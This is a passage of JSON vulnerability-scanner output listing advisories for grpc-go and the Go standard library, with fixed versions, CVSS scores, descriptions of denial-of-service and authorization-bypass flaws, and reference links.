"alma": 3, "azure": 3, "ghsa": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:76744", "https://access.redhat.com/errata/RHSA-2026:95272", "https://access.redhat.com/security/cve/CVE-2026-84445", "https://bugzilla.redhat.com/2533175", "https://bugzilla.redhat.com/show_bug.cgi?id=2533175", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-84445", "https://errata.almalinux.org/9/ALSA-2026-76744.html", "https://errata.rockylinux.org/RLSA-2026:95272", "https://github.com/grpc/grpc-go", "https://github.com/grpc/grpc-go/commit/3822494d8ea03b992c089fd2a195f041762fffb7", "https://github.com/grpc/grpc-go/commit/8668b69c167df908b6b3666dcbf40992b9e932a4", "https://github.com/grpc/grpc-go/commit/93e31b48545e2a8aaeb6e06b47fb249f94e6297f", "https://github.com/grpc/grpc-go/issues/9354", "https://github.com/grpc/grpc-go/pull/9365", "https://github.com/grpc/grpc-go/pull/9366", "https://github.com/grpc/grpc-go/pull/9367", "https://github.com/grpc/grpc-go/releases/tag/v1.82.2", "https://github.com/grpc/grpc-go/releases/tag/v1.83.2", "https://github.com/grpc/grpc-go/security/advisories/GHSA-2v4p-qf9q-27wj", "https://nvd.nist.gov/vuln/detail/CVE-2026-84445", "https://www.cve.org/CVERecord?id=CVE-2026-84445" ], "PublishedDate": "2026-09-14T17:17:51.743Z", "LastModifiedDate": "2026-09-25T14:10:13.927Z" }, { "VulnerabilityID": "GHSA-hrxh-6v49-42gf", "PkgID": "google.golang.org/grpc@v1.79.3", "PkgName": "google.golang.org/grpc", "PkgIdentifier": { "PURL": "pkg:golang/google.golang.org/grpc@v1.79.3", "UID": "c1091cf7b3dc9c13" }, "InstalledVersion": "v1.79.3", "FixedVersion": "1.82.1", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-hrxh-6v49-42gf", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory Go", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Ago" }, "Fingerprint": "sha256:7d1dcaaff7501fcd106552d65e2fd824c6c4ad1c25569e9091a138828c909f94", "Title": "gRPC-Go: xDS RBAC and HTTP/2 Vulnerabilities", "Description": "Multiple security vulnerabilities have been identified and addressed in grpc-go affecting the xDS RBAC authorization engine (internal/xds/rbac) and the HTTP/2 transport server implementation (internal/transport). These vulnerabilities could result in:\n\n- Authorization Bypass (Fail-Open) when translating xDS RBAC policies containing `Metadata` or `RequestedServerName` fields.\n- Denial of Service (High CPU Consumption) due to an HTTP/2 Rapid Reset mitigation bypass during client-initiated stream resets.\n- Denial of Service (Server Panic) when parsing crafted xDS RBAC policies containing `NOT` rules around unsupported fields.\n\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\n#### xDS RBAC Authorization Bypass via `Metadata` \u0026 `RequestedServerName` matchers\n\n- Affected Component: xDS RBAC \n- Impact: When building policy matchers for gRPC RBAC from xDS configurations, unsupported `permission` and `principal` rules (specifically `Metadata` and `RequestedServerName`) were silently ignored and treated as no-ops.\n - If an authorization policy relied purely on these matchers for access control, treating those rules as no-ops effectively removed the restrictions.\n- If these unsupported rules were nested inside logical `NOT` rules (`Permission_NotRule` / `Principal_NotId`) or multi-condition `OR/AND` rules, silently dropping them changed the boolean logic flow of the authorization engine.\n\nAs a result, policy evaluation decisions could fail open, allowing unauthorized clients to access protected gRPC services or resources.\n\n#### HTTP/2 Rapid Reset Mitigation Bypass / Denial of Service via Stream Aborts\n\n- Affected Component: HTTP/2 transport\n- Impact: Earlier mitigations in grpc-go for HTTP/2 Rapid Reset only applied threshold checks to items that directly resulted in control frames being written back to the wire, such as `SETTINGS` ACKs or server-initiated `RST_STREAM`s.\n\nWhen a client initiated a rapid flood of stream creation (`HEADERS`) immediately followed by stream termination `RST_STREAM`, items queued up in the control buffer without counting against the transport response frame threshold. An attacker can repeatedly trigger this flood sequence to bypass reader blocking, resulting in high CPU usage, and Denial of Service (DoS).\n\n#### Denial of Service (Panic) in xDS RBAC Engine via Unsupported Fields inside NOT Rules\n\n- Affected Component: xDS RBAC \n- Impact: The xDS RBAC policy translators recursively generate matchers for nested rules. When a `NOT` rule wrapped an unsupported or unhandled field (such as `SourcedMetadata`), the recursive step returned an empty matcher. This could result in a runtime panic when the RBAC engine attempts to authorize an incoming request.\n\nAn attacker or misconfigured/malicious xDS management server delivering an LDS/RDS update containing a `NOT` rule around an unhandled field causes the gRPC server process to crash immediately (CWE-248 / Denial of Service).\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nAll three issues have been fixed in `master` and will be released in 1.82.1 shortly.\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nIf upgrading grpc-go immediately is not possible, apply the following workarounds based on your deployment architecture:\n\n* For xDS RBAC Vulnerabilities \u0026 Panics: Ensure that upstream xDS management servers do not push RBAC policies containing `Metadata`, `RequestedServerName`, or `NOT` rules wrapping unsupported fields (such as `SourcedMetadata`) to grpc-go servers.\n* For HTTP/2 Rapid Reset DOS: Configure upstream reverse proxies or load balancers (such as Envoy) with strict HTTP/2 `max_concurrent_streams` limits and active rate limiting on `RST_STREAM` frequency per connection.\n\n### Severity\n\n | Vulnerability | Qualitative Severity | Approximate CVSS v3.1 Score | Primary Impact |\n | :--- | :--- | :--- | :--- |\n | **xDS RBAC Authorization Bypass** | **High** | `8.2` | Unauthorized Access / Fail-Open |\n | **HTTP/2 Rapid Reset DOS Bypass** | **High** | `7.5` | High CPU Consumption / Denial of Service |\n | **xDS RBAC Engine Server Panic** | **Medium** | `5.9` | Process Crash / Denial of Service |", "Severity": "HIGH", "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.8 } }, "References": [ "https://github.com/grpc/grpc-go", "https://github.com/grpc/grpc-go/commit/4ea465d4ab98013f72a142fe0fc89c19770b2935", "https://github.com/grpc/grpc-go/pull/9236", "https://github.com/grpc/grpc-go/releases/tag/v1.82.1", "https://github.com/grpc/grpc-go/security/advisories/GHSA-hrxh-6v49-42gf" ], "PublishedDate": "2026-07-21T22:03:55Z", "LastModifiedDate": "2026-07-21T22:03:56Z" }, { "VulnerabilityID": "CVE-2026-111943", "VendorIDs": [ "GO-2026-6809" ], "PkgID": "stdlib@v1.26.2", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.26.2", "UID": "83c42d84cdb2ccfe" }, "InstalledVersion": "v1.26.2", "FixedVersion": "1.26.10, 1.27.3", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-111943", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:bfd0568864bb0e27c52b0c39c237f532dfc784e85ea3846556c4e6e3b05e851f", "Title": "crypto/x509: golang: crypto/x509: Man-in-the-middle attacks via untrusted intermediate certificates", "Description": "On most platforms, Go uses the given system root certificates. However, in some narrower cases, the system trust stores may not be updated without further action. To defend against the narrower set of cases that may remain affected, a denylist was added in crypto/x509 to return an error when calling Verify with any of the known intermediate certificates that are no longer considered to be trustworthy.", "Severity": "HIGH", "CweIDs": [ "CWE-299" ], "VendorSeverity": { "alma": 3, "amazon": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N", "V3Score": 6.8 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/10/20/29", "https://access.redhat.com/errata/RHSA-2026:95518", "https://access.redhat.com/security/cve/CVE-2026-111943", "https://bugzilla.redhat.com/2548336", "https://bugzilla.redhat.com/2556068", "https://bugzilla.redhat.com/show_bug.cgi?id=2548336", "https://bugzilla.redhat.com/show_bug.cgi?id=2556068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-111943", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97031", "https://errata.almalinux.org/9/ALSA-2026-95518.html", "https://errata.rockylinux.org/RLSA-2026:95518", "https://github.com/golang/go/issues/82345", "https://go.dev/cl/851047", "https://go.dev/issue/82345", "https://groups.google.com/g/golang-announce/c/66pojueaQek", "https://groups.google.com/g/golang-nuts/c/K22sG2AYnKU", "https://linux.oracle.com/cve/CVE-2026-111943.html", "https://linux.oracle.com/errata/ELSA-2026-95519.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-111943", "https://pkg.go.dev/vuln/GO-2026-6809", "https://www.cve.org/CVERecord?id=CVE-2026-111943" ], "PublishedDate": "2026-10-21T01:17:20.797Z", "LastModifiedDate": "2026-10-30T13:18:28.74Z" }, { "VulnerabilityID": "CVE-2026-27145", "VendorIDs": [ "GO-2026-5037" ], "PkgID": "stdlib@v1.26.2", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.26.2", "UID": "83c42d84cdb2ccfe" }, "InstalledVersion": "v1.26.2", "FixedVersion": "1.25.11, 1.26.4", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-27145", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:56753bbfcc47054613a21665dd2cdefc1c608a53fe1d27a860c872a7966f863a", "Title": "crypto/x509: golang: golang crypto/x509: Denial of Service via excessive processing of DNS SAN entries", "Description": "(*x509.Certificate).VerifyHostname previously called matchHostnames in a loop over all DNS Subject Alternative Name (SAN) entries. This caused strings.Split(host, \".\") to execute repeatedly on the same input hostname. With a large DNS SAN list, verification costs scaled quadratically based on the number of SAN entries multiplied by the hostname's label count. Because x509.Verify validates hostnames before building the certificate chain, this overhead occurred even for untrusted certificates.", "Severity": "HIGH", "CweIDs": [ "CWE-606" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 2, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:23262", "https://access.redhat.com/errata/RHSA-2026:23264", "https://access.redhat.com/errata/RHSA-2026:29980", "https://access.redhat.com/errata/RHSA-2026:29981", "https://access.redhat.com/errata/RHSA-2026:33574", "https://access.redhat.com/errata/RHSA-2026:34357", "https://access.redhat.com/errata/RHSA-2026:34359", "https://access.redhat.com/errata/RHSA-2026:35832", "https://access.redhat.com/errata/RHSA-2026:36317", "https://access.redhat.com/errata/RHSA-2026:36648", "https://access.redhat.com/errata/RHSA-2026:36797", "https://access.redhat.com/errata/RHSA-2026:38995", "https://access.redhat.com/errata/RHSA-2026:39005", "https://access.redhat.com/errata/RHSA-2026:39573", "https://access.redhat.com/errata/RHSA-2026:39879", "https://access.redhat.com/errata/RHSA-2026:41030", "https://access.redhat.com/errata/RHSA-2026:41036", "https://access.redhat.com/errata/RHSA-2026:41930", "https://access.redhat.com/errata/RHSA-2026:42043", "https://access.redhat.com/errata/RHSA-2026:42047", "https://access.redhat.com/errata/RHSA-2026:42049", "https://access.redhat.com/errata/RHSA-2026:42050", "https://access.redhat.com/errata/RHSA-2026:42051", "https://access.redhat.com/errata/RHSA-2026:42079", "https://access.redhat.com/errata/RHSA-2026:42080", "https://access.redhat.com/errata/RHSA-2026:42082", "https://access.redhat.com/errata/RHSA-2026:42142", "https://access.redhat.com/errata/RHSA-2026:42150", "https://access.redhat.com/errata/RHSA-2026:42151", "https://access.redhat.com/errata/RHSA-2026:42240", "https://access.redhat.com/errata/RHSA-2026:42644", "https://access.redhat.com/errata/RHSA-2026:42946", "https://access.redhat.com/errata/RHSA-2026:44622", "https://access.redhat.com/errata/RHSA-2026:46394", "https://access.redhat.com/errata/RHSA-2026:46395", "https://access.redhat.com/errata/RHSA-2026:47149", "https://access.redhat.com/errata/RHSA-2026:47735", "https://access.redhat.com/errata/RHSA-2026:47737", "https://access.redhat.com/errata/RHSA-2026:49702", "https://access.redhat.com/errata/RHSA-2026:49703", "https://access.redhat.com/errata/RHSA-2026:49705", "https://access.redhat.com/errata/RHSA-2026:49712", "https://access.redhat.com/errata/RHSA-2026:49729", "https://access.redhat.com/errata/RHSA-2026:49744", "https://access.redhat.com/errata/RHSA-2026:49765", "https://access.redhat.com/errata/RHSA-2026:49770", "https://access.redhat.com/errata/RHSA-2026:50205", "https://access.redhat.com/errata/RHSA-2026:50319", "https://access.redhat.com/errata/RHSA-2026:51057", "https://access.redhat.com/errata/RHSA-2026:51187", "https://access.redhat.com/errata/RHSA-2026:52946", "https://access.redhat.com/errata/RHSA-2026:53374", "https://access.redhat.com/errata/RHSA-2026:53412", "https://access.redhat.com/errata/RHSA-2026:53413", "https://access.redhat.com/errata/RHSA-2026:53415", "https://access.redhat.com/errata/RHSA-2026:53416", "https://access.redhat.com/errata/RHSA-2026:53530", "https://access.redhat.com/errata/RHSA-2026:54168", "https://access.redhat.com/errata/RHSA-2026:54401", "https://access.redhat.com/errata/RHSA-2026:54427", "https://access.redhat.com/errata/RHSA-2026:54432", "https://access.redhat.com/errata/RHSA-2026:54435", "https://access.redhat.com/errata/RHSA-2026:54441", "https://access.redhat.com/errata/RHSA-2026:54500", "https://access.redhat.com/errata/RHSA-2026:54525", "https://access.redhat.com/errata/RHSA-2026:54531", "https://access.redhat.com/errata/RHSA-2026:54603", "https://access.redhat.com/errata/RHSA-2026:54757", "https://access.redhat.com/errata/RHSA-2026:55899", "https://access.redhat.com/errata/RHSA-2026:57194", "https://access.redhat.com/errata/RHSA-2026:57482", "https://access.redhat.com/errata/RHSA-2026:57488", "https://access.redhat.com/errata/RHSA-2026:57649", "https://access.redhat.com/errata/RHSA-2026:59556", "https://access.redhat.com/errata/RHSA-2026:59557", "https://access.redhat.com/errata/RHSA-2026:59558", "https://access.redhat.com/errata/RHSA-2026:59559", "https://access.redhat.com/errata/RHSA-2026:59579", "https://access.redhat.com/errata/RHSA-2026:59593", "https://access.redhat.com/errata/RHSA-2026:60025", "https://access.redhat.com/errata/RHSA-2026:60315", "https://access.redhat.com/errata/RHSA-2026:60354", "https://access.redhat.com/errata/RHSA-2026:60386", "https://access.redhat.com/errata/RHSA-2026:60387", "https://access.redhat.com/errata/RHSA-2026:60388", "https://access.redhat.com/errata/RHSA-2026:60390", "https://access.redhat.com/errata/RHSA-2026:60391", "https://access.redhat.com/errata/RHSA-2026:61253", "https://access.redhat.com/errata/RHSA-2026:61314", "https://access.redhat.com/errata/RHSA-2026:63016", "https://access.redhat.com/errata/RHSA-2026:66022", "https://access.redhat.com/errata/RHSA-2026:68334", "https://access.redhat.com/errata/RHSA-2026:68335", "https://access.redhat.com/security/cve/CVE-2026-27145", "https://bugzilla.redhat.com/2445356", "https://bugzilla.redhat.com/2484207", "https://bugzilla.redhat.com/show_bug.cgi?id=2445356", "https://bugzilla.redhat.com/show_bug.cgi?id=2484207", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25679", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27145", "https://errata.almalinux.org/9/ALSA-2026-36317.html", "https://errata.rockylinux.org/RLSA-2026:36317", "https://go.dev/cl/783621", "https://go.dev/issue/79694", "https://groups.google.com/g/golang-announce/c/tKs3rmcBcKw", "https://linux.oracle.com/cve/CVE-2026-27145.html", "https://linux.oracle.com/errata/ELSA-2026-53416.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-27145", "https://pkg.go.dev/vuln/GO-2026-5037", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-27145.json", "https://www.cve.org/CVERecord?id=CVE-2026-27145" ], "PublishedDate": "2026-06-02T23:16:35.57Z", "LastModifiedDate": "2026-09-18T13:17:43.283Z" }, { "VulnerabilityID": "CVE-2026-33811", "VendorIDs": [ "GO-2026-4981" ], "PkgID": "stdlib@v1.26.2", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.26.2", "UID": "83c42d84cdb2ccfe" }, "InstalledVersion": "v1.26.2", "FixedVersion": "1.25.10, 1.26.3", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-33811", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:640e081080f1bf82456f3a3893c5a9b048cf95f8a26d3e6fd4dacf187ec1d694", "Title": "net: golang: Go net package: Denial of Service via long CNAME response in LookupCNAME", "Description": "When using LookupCNAME with the cgo DNS resolver, a very long CNAME response can trigger a double-free of C memory and a crash.", "Severity": "HIGH", "CweIDs": [ "CWE-415", "CWE-1341" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:22112", "https://access.redhat.com/errata/RHSA-2026:22120", "https://access.redhat.com/errata/RHSA-2026:22121", "https://access.redhat.com/errata/RHSA-2026:23262", "https://access.redhat.com/errata/RHSA-2026:23264", "https://access.redhat.com/errata/RHSA-2026:33120", "https://access.redhat.com/errata/RHSA-2026:33123", "https://access.redhat.com/errata/RHSA-2026:33142", "https://access.redhat.com/errata/RHSA-2026:33150", "https://access.redhat.com/errata/RHSA-2026:33574", "https://access.redhat.com/errata/RHSA-2026:34357", "https://access.redhat.com/errata/RHSA-2026:34359", "https://access.redhat.com/errata/RHSA-2026:34364", "https://access.redhat.com/errata/RHSA-2026:35832", "https://access.redhat.com/errata/RHSA-2026:35993", "https://access.redhat.com/errata/RHSA-2026:35994", "https://access.redhat.com/errata/RHSA-2026:35995", "https://access.redhat.com/errata/RHSA-2026:36207", "https://access.redhat.com/errata/RHSA-2026:36319", "https://access.redhat.com/errata/RHSA-2026:36617", "https://access.redhat.com/errata/RHSA-2026:36625", "https://access.redhat.com/errata/RHSA-2026:36648", "https://access.redhat.com/errata/RHSA-2026:36651", "https://access.redhat.com/errata/RHSA-2026:36776", "https://access.redhat.com/errata/RHSA-2026:36796", "https://access.redhat.com/errata/RHSA-2026:36797", "https://access.redhat.com/errata/RHSA-2026:38504", "https://access.redhat.com/errata/RHSA-2026:39266", "https://access.redhat.com/errata/RHSA-2026:39272", "https://access.redhat.com/errata/RHSA-2026:39319", "https://access.redhat.com/errata/RHSA-2026:39573", "https://access.redhat.com/errata/RHSA-2026:39810", "https://access.redhat.com/errata/RHSA-2026:40118", "https://access.redhat.com/errata/RHSA-2026:40119", "https://access.redhat.com/errata/RHSA-2026:40945", "https://access.redhat.com/errata/RHSA-2026:41019", "https://access.redhat.com/errata/RHSA-2026:41030", "https://access.redhat.com/errata/RHSA-2026:41055", "https://access.redhat.com/errata/RHSA-2026:41928", "https://access.redhat.com/errata/RHSA-2026:42043", "https://access.redhat.com/errata/RHSA-2026:42047", "https://access.redhat.com/errata/RHSA-2026:42048", "https://access.redhat.com/errata/RHSA-2026:42049", "https://access.redhat.com/errata/RHSA-2026:42050", "https://access.redhat.com/errata/RHSA-2026:42051", "https://access.redhat.com/errata/RHSA-2026:42078", "https://access.redhat.com/errata/RHSA-2026:42079", "https://access.redhat.com/errata/RHSA-2026:42082", "https://access.redhat.com/errata/RHSA-2026:42132", "https://access.redhat.com/errata/RHSA-2026:42150", "https://access.redhat.com/errata/RHSA-2026:42151", "https://access.redhat.com/errata/RHSA-2026:42240", "https://access.redhat.com/errata/RHSA-2026:42644", "https://access.redhat.com/errata/RHSA-2026:42852", "https://access.redhat.com/errata/RHSA-2026:42946", "https://access.redhat.com/errata/RHSA-2026:43038", "https://access.redhat.com/errata/RHSA-2026:43692", "https://access.redhat.com/errata/RHSA-2026:44622", "https://access.redhat.com/errata/RHSA-2026:46885", "https://access.redhat.com/errata/RHSA-2026:47149", "https://access.redhat.com/errata/RHSA-2026:47735", "https://access.redhat.com/errata/RHSA-2026:47952", "https://access.redhat.com/errata/RHSA-2026:48151", "https://access.redhat.com/errata/RHSA-2026:49702", "https://access.redhat.com/errata/RHSA-2026:49703", "https://access.redhat.com/errata/RHSA-2026:49712", "https://access.redhat.com/errata/RHSA-2026:50205", "https://access.redhat.com/errata/RHSA-2026:50300", "https://access.redhat.com/errata/RHSA-2026:50319", "https://access.redhat.com/errata/RHSA-2026:50336", "https://access.redhat.com/errata/RHSA-2026:50843", "https://access.redhat.com/errata/RHSA-2026:51033", "https://access.redhat.com/errata/RHSA-2026:51057", "https://access.redhat.com/errata/RHSA-2026:51187", "https://access.redhat.com/errata/RHSA-2026:51194", "https://access.redhat.com/errata/RHSA-2026:51341", "https://access.redhat.com/errata/RHSA-2026:53412", "https://access.redhat.com/errata/RHSA-2026:53413", "https://access.redhat.com/errata/RHSA-2026:53415", "https://access.redhat.com/errata/RHSA-2026:53530", "https://access.redhat.com/errata/RHSA-2026:54168", "https://access.redhat.com/errata/RHSA-2026:54191", "https://access.redhat.com/errata/RHSA-2026:54274", "https://access.redhat.com/errata/RHSA-2026:54283", "https://access.redhat.com/errata/RHSA-2026:54284", "https://access.redhat.com/errata/RHSA-2026:54285", "https://access.redhat.com/errata/RHSA-2026:54286", "https://access.redhat.com/errata/RHSA-2026:54287", "https://access.redhat.com/errata/RHSA-2026:54435", "https://access.redhat.com/errata/RHSA-2026:54441", "https://access.redhat.com/errata/RHSA-2026:54500", "https://access.redhat.com/errata/RHSA-2026:54552", "https://access.redhat.com/errata/RHSA-2026:54556", "https://access.redhat.com/errata/RHSA-2026:54584", "https://access.redhat.com/errata/RHSA-2026:54602", "https://access.redhat.com/errata/RHSA-2026:54603", "https://access.redhat.com/errata/RHSA-2026:54757", "https://access.redhat.com/errata/RHSA-2026:56340", "https://access.redhat.com/errata/RHSA-2026:56785", "https://access.redhat.com/errata/RHSA-2026:56789", "https://access.redhat.com/errata/RHSA-2026:56790", "https://access.redhat.com/errata/RHSA-2026:56852", "https://access.redhat.com/errata/RHSA-2026:56855", "https://access.redhat.com/errata/RHSA-2026:56910", "https://access.redhat.com/errata/RHSA-2026:56912", "https://access.redhat.com/errata/RHSA-2026:56913", "https://access.redhat.com/errata/RHSA-2026:57191", "https://access.redhat.com/errata/RHSA-2026:57194", "https://access.redhat.com/errata/RHSA-2026:57482", "https://access.redhat.com/errata/RHSA-2026:57488", "https://access.redhat.com/errata/RHSA-2026:57649", "https://access.redhat.com/errata/RHSA-2026:59467", "https://access.redhat.com/errata/RHSA-2026:59559", "https://access.redhat.com/errata/RHSA-2026:60018", "https://access.redhat.com/errata/RHSA-2026:60025", "https://access.redhat.com/errata/RHSA-2026:60302", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/errata/RHSA-2026:61253", "https://access.redhat.com/errata/RHSA-2026:61313", "https://access.redhat.com/errata/RHSA-2026:65126", "https://access.redhat.com/errata/RHSA-2026:65534", "https://access.redhat.com/errata/RHSA-2026:65886", "https://access.redhat.com/errata/RHSA-2026:66022", "https://access.redhat.com/errata/RHSA-2026:67149", "https://access.redhat.com/errata/RHSA-2026:67287", "https://access.redhat.com/errata/RHSA-2026:67319", "https://access.redhat.com/security/cve/CVE-2026-33811", "https://bugzilla.redhat.com/2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2456333", "https://bugzilla.redhat.com/show_bug.cgi?id=2456339", "https://bugzilla.redhat.com/show_bug.cgi?id=2467809", "https://bugzilla.redhat.com/show_bug.cgi?id=2467820", "https://bugzilla.redhat.com/show_bug.cgi?id=2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2480756", "https://bugzilla.redhat.com/show_bug.cgi?id=2484204", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2515840", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32280", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32281", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39820", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39821", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42499", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42504", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56859", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-39319.html", "https://errata.rockylinux.org/RLSA-2026:65886", "https://go.dev/cl/767860", "https://go.dev/issue/78803", "https://groups.google.com/g/golang-announce/c/qcCIEXso47M", "https://linux.oracle.com/cve/CVE-2026-33811.html", "https://linux.oracle.com/errata/ELSA-2026-65886-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-33811", "https://pkg.go.dev/vuln/GO-2026-4981", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33811.json", "https://www.cve.org/CVERecord?id=CVE-2026-33811" ], "PublishedDate": "2026-05-07T20:16:42.77Z", "LastModifiedDate": "2026-10-26T00:10:00.15Z" }, { "VulnerabilityID": "CVE-2026-33814", "VendorIDs": [ "GO-2026-4918" ], "PkgID": "stdlib@v1.26.2", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.26.2", "UID": "83c42d84cdb2ccfe" }, "InstalledVersion": "v1.26.2", "FixedVersion": "1.25.10, 1.26.3", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-33814", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:2458b364d1f2b8312f719bec8313bebe4262ba957e8cbfdc42836a5152bb4d6f", "Title": "net/http/internal/http2: golang: golang.org/x/net: Go HTTP/2: Denial of Service via malformed SETTINGS_MAX_FRAME_SIZE frame", "Description": "When processing HTTP/2 SETTINGS frames, transport will enter an infinite loop of writing CONTINUATION frames if it receives a SETTINGS_MAX_FRAME_SIZE with a value of 0.", "Severity": "HIGH", "CweIDs": [ "CWE-835", "CWE-606" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "bitnami": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:22112", "https://access.redhat.com/errata/RHSA-2026:22120", "https://access.redhat.com/errata/RHSA-2026:22121", "https://access.redhat.com/errata/RHSA-2026:23262", "https://access.redhat.com/errata/RHSA-2026:23264", "https://access.redhat.com/errata/RHSA-2026:33120", "https://access.redhat.com/errata/RHSA-2026:33123", 